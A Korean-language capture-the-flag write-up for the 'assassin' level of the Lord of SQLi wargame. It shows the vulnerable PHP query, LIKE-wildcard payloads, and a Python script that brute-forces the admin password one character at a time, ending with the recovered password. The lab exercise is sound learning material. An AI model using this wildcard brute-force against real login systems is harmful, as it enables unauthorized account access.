Write-Up
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
{$_GET[pw]} 가 like 구문과 ' ' 사이에 입력된다. 해당 문제는 wildcard를 이용해 풀어줘야 할 것 같다.
?pw=%
?pw=________
위와 같이 wildcard '%' 사용 시, Hello guest가 출력되고, guest의 pw는 8글자 인것을 확인할 수 있다. 그렇다면 admin의 pw는 어떻게 구할 수 있을까?
?pw='( 첫 글자 아무거나 )%' 일 경우, Hello guest가 출력되는 것을 보아, guest와 pw가 겹치고, guest가 admin 보다 DB상 위에 위치하여 guest값이 load되는 것으로 보인다.
문제의 조건을 보면, 구지 pw 전부를 알 필요는 없으므로, 아래와 같은 코드를 일단 실행해준다.
import requests
import string
url="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="
cookies ={'PHPSESSID':"77584kr26d18lrr4utitnbff0k"}
result=""
result2=""
for i in range(1,9):
for j in range(48,123):
param="_"*(i-1)+chr(j)+"%"
URL = url+param
response = requests.get(URL, cookies=cookies)
if "Hello admin" in response.text:
result += chr(j)
print(i," 번째: ",result)
break
print("pw: "+result)
위 코드의 실행 결과는 아래 그림 1과 같다.
pw의 1,2.5,7,8 번째가 admin과 동일한 것으로 보인다. 물론, admin pw의 길이가 8글자라는 보장은 없지만, 위에서 얘기했다싶이 pw의 모든 자릿수를 알 필요는 없다! 우리에겐 wildcard 문자가 있기 때문이다!
?pw=__2e_d%
위와 같이 요청을 보내면, 아래 그림 2와 같이 문제를 해결할 수 있다.
위 문제의 결과와는 별개로 guest pw를 구해봤다. ( 코드는 아래와 같이 수정을 해주었다. )
if "Hello guest" in response.text:
그 결과는 아래 그림 3과 같다.
위에서 구한 guest pw를 토대로, admin pw를 구해 아래와 같이 요청을 해보았다.
?pw=902efd10
Hello admin이 출력된다 admin의 pw길이도 8글자 였다!
참고
https://www.w3schools.com/sql/sql_wildcards.asp